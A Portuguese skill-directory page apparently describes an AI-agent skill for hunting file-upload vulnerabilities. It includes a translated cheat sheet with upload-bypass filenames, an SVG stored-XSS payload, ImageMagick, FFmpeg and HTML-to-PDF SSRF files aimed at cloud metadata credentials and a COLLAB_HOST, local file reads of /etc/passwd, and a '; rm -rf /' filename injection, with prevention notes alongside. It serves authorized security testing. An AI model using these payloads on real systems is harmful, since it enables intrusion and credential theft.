Pular para o conteúdo
Skillpedia
Segurança48 mil · #3257

hunt-file-upload

Ajuda seu agente a encontrar falhas em uploads de arquivos. Evita que arquivos maliciosos sejam carregados em sistemas.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em como os sites lidam com arquivos enviados pelos usuários. Ela testa diferentes maneiras de enganar o site para que ele aceite arquivos maliciosos.

Quando usar

  • ✓Ao testar a segurança de um site.
  • ✓Para verificar se um site aceita arquivos perigosos.
  • ✓Para entender como um site protege contra uploads de arquivos maliciosos.

Exemplo do que pedir para a IA

“Quero testar o upload de arquivos no site example.com. Quais técnicas você pode usar?”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-file-upload/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-file-upload/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta enviar arquivos com nomes ou tipos incomuns para ver se o site os aceita. Ela também pode tentar usar formatos de arquivo que enganam o site, como imagens que contêm código malicioso.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-file-upload

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-file-upload/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

9. UPLOAD DE ARQUIVOS

Bypass de Content-Type

filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants

Técnicas de Bypass de Upload de Arquivos (10 técnicas)

Ataque Como Prevenção
Bypass de extensão shell.php.jpg, shell.pHp, shell.php5 Lista de permissões + extrair extensão final
Byte nulo shell.php%00.jpg Limpar bytes nulos
Extensão dupla shell.jpg.php Permitir apenas uma extensão
Spoof de MIME Content-Type: image/jpeg com corpo .php Validar magic bytes, não cabeçalho MIME
Prefixo de magic bytes Adicionar GIF89a; ao código PHP Analisar arquivo inteiro, não apenas o cabeçalho
Poliglota Válido como JPEG e PHP Processar como biblioteca de imagens, rejeitar se inválido
SVG JavaScript <svg onload="..."> Limpar SVG ou desativar completamente
XXE em DOCX XML malicioso no ZIP do Office Desativar entidades externas
ZIP slip ../../../etc/passwd no arquivo Validar caminhos extraídos
Injeção de nome de arquivo ; rm -rf / no nome do arquivo Limpar + usar nomes UUID

Referência de Magic Bytes

Tipo Hex
JPEG FF D8 FF
PNG 89 50 4E 47 0D 0A 1A 0A
GIF 47 49 46 38
PDF 25 50 44 46
ZIP/DOCX/XLSX 50 4B 03 04

XSS Armazenado via SVG

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

Exploração de ImageMagick / FFmpeg

SSRF / Leitura de Arquivo do ImageMagick (família ImageTragick + variantes modernas)

# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF

# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF

# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC

SSRF do FFmpeg via Playlist HLS

# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF

# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF

# Test: upload .m3u8 or video file to any video processing endpoint

SSRF do Headless Chrome / Gerador de PDF

Ataques de Conversor HTML → PDF

# Alvo: geradores de faturas, exportadores de relatórios, serviços de captura de tela
# Injetar HTML que faz com que o headless Chrome busque recursos internos

# SSRF via importação de CSS
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'

# SSRF via iframe HTML
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'

# Leitura de arquivo local
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'

# Execução de JavaScript (se o sandbox não for aplicado)
PAYLOAD='<html><body><script>

…
Perguntas frequentes

Por que preciso de permissão para usar esta ferramenta?

Usar esta ferramenta sem permissão pode ser ilegal e prejudicial. Ela é projetada para testes de segurança autorizados e fins educacionais.

O que é um 'bypass' de upload de arquivo?

É uma técnica para fazer o site aceitar um arquivo que ele normalmente rejeitaria, explorando falhas em suas verificações de segurança.

O que são 'magic bytes'?

São sequências de bytes no início de um arquivo que identificam seu tipo real. A ferramenta pode tentar enganar o site sobre o tipo de arquivo, mesmo que os 'magic bytes' estejam corretos.

Detalhes

Descrição original do autor

Hunt file upload bugs

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3257
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas